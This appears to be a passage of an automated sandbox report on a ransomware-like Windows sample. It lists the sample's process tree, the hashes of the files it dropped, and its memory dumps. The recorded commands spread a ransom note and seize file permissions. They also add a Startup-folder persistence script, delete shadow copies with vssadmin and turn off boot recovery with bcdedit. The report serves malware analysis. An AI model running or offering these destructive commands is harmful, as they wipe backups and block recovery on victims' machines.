C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MICROS~2\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft Help\Hx_1033_MValidator.Lck" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft Help\Hx_1033_MValidator.Lck"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft Help\Hx_1033_MValidator.Lck" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft Help\Hx_1033_MValidator.Lck"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MOZILL~1\updates\308046~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\PACKAG~1\{33D1F~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\PACKAG~1\{4D8DC~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\PACKAG~1\{57A73~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\PACKAG~1\{61087~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\PACKAG~1\{CA675~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\PACKAG~1\{EF6B0~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Default\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\Default\NTUSER.DAT.LOG2" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\Default\NTUSER.DAT.LOG2"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Default\NTUSER.DAT.LOG2" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\Default\NTUSER.DAT.LOG2"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Public\LIBRAR~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\YLTCBC~1\2km925ZW.exe" > "C:\Users\Admin\AppData\Local\Temp\KDCmSj3O.exe" && "C:\Users\Admin\AppData\Local\Temp\KDCmSj3O.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "TOTALCIP_233" "60000"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\KDCmSj3O.exe"C:\Users\Admin\AppData\Local\Temp\KDCmSj3O.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "TOTALCIP_233" "60000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\KDCmSj3O.exe"C:\Users\Admin\AppData\Local\Temp\KDCmSj3O.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "TOTALCIP_233" "60000"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\tjyu8ckN.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\YLTCBC~1\2km925ZW.exe" > "C:\Users\Admin\AppData\Local\Temp\tOBxViTf.exe" && "C:\Users\Admin\AppData\Local\Temp\tOBxViTf.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "FINISH" "60000"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\tOBxViTf.exe"C:\Users\Admin\AppData\Local\Temp\tOBxViTf.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "FINISH" "60000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\tOBxViTf.exe"C:\Users\Admin\AppData\Local\Temp\tOBxViTf.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "FINISH" "60000"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\8X2s7SDw.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C del /f /q "C:\Users\Admin\AppData\Roaming\Microsoft\xr9qnma2.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\N00FBW~1.HTA" > "C:\Users\Admin\AppData\Roaming\MICROS~1\Windows\STARTM~1\Programs\Startup\N00fBwZXjOQTTX9M.hta"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\N00FBW~1.HTA" > "C:\PROGRA~3\MICROS~1\Windows\STARTM~1\Programs\Startup\N00fBwZXjOQTTX9M.hta"5⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\OylXD3aD.cmd"5⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 5 localhost6⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\N00fBwZXjOQTTX9M.hta"6⤵
- Modifies Internet Explorer settings
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\9fRQNF7p.cmd"3⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost4⤵
- Runs ping.exe
-
C:\Windows\system32\cmd.execmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures1⤵
- Process spawned unexpected child process
-
C:\Windows\system32\vssadmin.exevssadmin.exe delete shadows /all /quiet2⤵
- Interacts with shadow copies
-
C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} recoveryenabled no2⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\N00fBwZXjOQTTX9M.htaFilesize
3KB
MD5ba6a676250fffbceb1014d1933e605e2
SHA1a05b371504daffaa882f50975c80fea50ece750c
SHA256c2b25b6af5e2b5ac4298cf5ed33c13c1ba36a61e2499a7ffca473931d529af82
SHA512d97f73b3afb76748717969781b42fa0f03cd3601e21d30e7adbf05a4a5c09e41245bb00aed3977604d8919d09a9e7aad01bd186f8fa2fe536479bcb467e4a64d
-
C:\Users\Admin\AppData\Roaming\WhatHappenedWithFiles.rtfFilesize
5KB
MD53ba34b050e66a1c6eb40b164d9872edc
SHA1c4841110e990dcde7b5037d3359d8d0612b909b6
SHA256f9c92cb075271b85859a34e67fb06f4a5d011546ef6e6bec0e5d0a669e627aaa
SHA512195794ea7b35136e70504cc7d701c2d42b1d9dd43066bdd922c383f323a7acd876a14b3aeabae28bdcaf132d7820473780db68426571e576a67cc2a2c6b7f034
-
C:\Users\Admin\AppData\Roaming\YLTCBC~1\2km925ZW.exeFilesize
363KB
MD536a0cefeb8b0a606358142d4140ea7cf
SHA103ce13b4f60d2fc632b67b41b82b5e8cfaf9939f
SHA256467c2b23b785df7b45758143387e9cc5a588718ae0640b3f01b1c19679b011be
SHA51263304f3ddca578beac157197581e6a2a762d9cf1fb08fa6ae85dcdc26340ae64badb0f4a9cb47521315c366b70bd0cf89bf1b72be29f89e2d91504cec7ca9093
-
C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\1TO4UAic.cmdFilesize
141B
MD51adfcb12acc0d3236ed4e69ee3f78916
SHA18d5aa93668c814f0b0d350ef55ef655b05a31e69
SHA256dd5408524cad5cedf8cf8d7ccc68ff94b545cee8a27a110780554044d8d8059b
SHA51243cf8e1eb93ced5b6fb6195a5bf4e4ff907815ce82de0192aeae5b3e84ddc7136c8a9a9924224260ae4665192b57a4fa85aade6b1b51fd37bd773a794d692c71
-
C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\9fRQNF7p.cmdFilesize
141B
MD570e41798d78ff99f023db4d3e2ad495d
SHA11316c3b1481f5e7e0cf61ed1d17701a6620ecd0f
SHA256f419b969138c8966126c2866f8930ba41498ab6cfb3ed259ac3e59afe7fc41b9
SHA51270815985783d2a87aba07cfb746810bc8ec7e59fdc1aad9eaf5af7ae1034a0cadd7d28ad85781c61fb31f3e313b4ecf9f7db387a128738c5f295976ce9a905b4
-
\Users\Admin\AppData\Local\Temp\RZQHvJ7k.exeFilesize
3KB
MD5b241596389982034a5a00cef15f36419
SHA1517580a02b1d7606cac27419f787b748bebb4289
SHA256a120506931abfdeab45fb6583e32842c90626a92d601db2f57146ee3aa64a50c
SHA512116be5523563dc197d65380bf9f7f4ac87c147a8e09149c7777861dae974c42a1533e6ed9a2b3aec675b8ad7039b58d3d5e40fe49dc3c0a7100db2d74c11b97a
-
memory/396-456-0x0000000000648000-0x000000000068A000-memory.dmpFilesize
264KB
-
memory/772-162-0x0000000000600000-0x0000000000700000-memory.dmpFilesize
1024KB
-
memory/840-287-0x00000000005F0000-0x00000000006F0000-memory.dmpFilesize
1024KB
-
memory/1144-452-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/1164-457-0x00000000008E8000-0x000000000092A000-memory.dmpFilesize
264KB
-
memory/1276-777-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/1276-785-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/1544-748-0x0000000000590000-0x0000000000690000-memory.dmpFilesize
1024KB
-
memory/1928-473-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/1928-488-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/1972-454-0x0000000000668000-0x00000000006AA000-memory.dmpFilesize
264KB
-
memory/2028-508-0x0000000000530000-0x0000000000630000-memory.dmpFilesize
1024KB
-
memory/2036-475-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2036-550-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2064-760-0x0000000000550000-0x0000000000650000-memory.dmpFilesize
1024KB
-
memory/2100-1-0x0000000000600000-0x0000000000700000-memory.dmpFilesize
1024KB
-
memory/2240-326-0x00000000002F0000-0x00000000003F0000-memory.dmpFilesize
1024KB
-
memory/2256-532-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2412-31-0x0000000000270000-0x0000000000370000-memory.dmpFilesize
1024KB
-
memory/2484-46-0x0000000000520000-0x0000000000620000-memory.dmpFilesize
1024KB
-
memory/2512-471-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2512-742-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2512-220-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2516-493-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2516-474-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2580-774-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2584-533-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2636-462-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2688-8-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2688-27-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2688-5-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2688-4-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2688-10-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2688-12-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2688-6-0x000000007EFDE000-0x000000007EFDF000-memory.dmpFilesize
4KB
-
memory/2688-9-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2688-2-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2688-11-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2728-464-0x0000000000578000-0x00000000005BA000-memory.dmpFilesize
264KB
-
memory/2772-234-0x0000000000270000-0x0000000000370000-memory.dmpFilesize
1024KB
-
memory/2788-61-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2788-50-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2788-59-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2908-527-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB
-
memory/2988-467-0x0000000000400000-0x0000000000510000-memory.dmpFilesize
1.1MB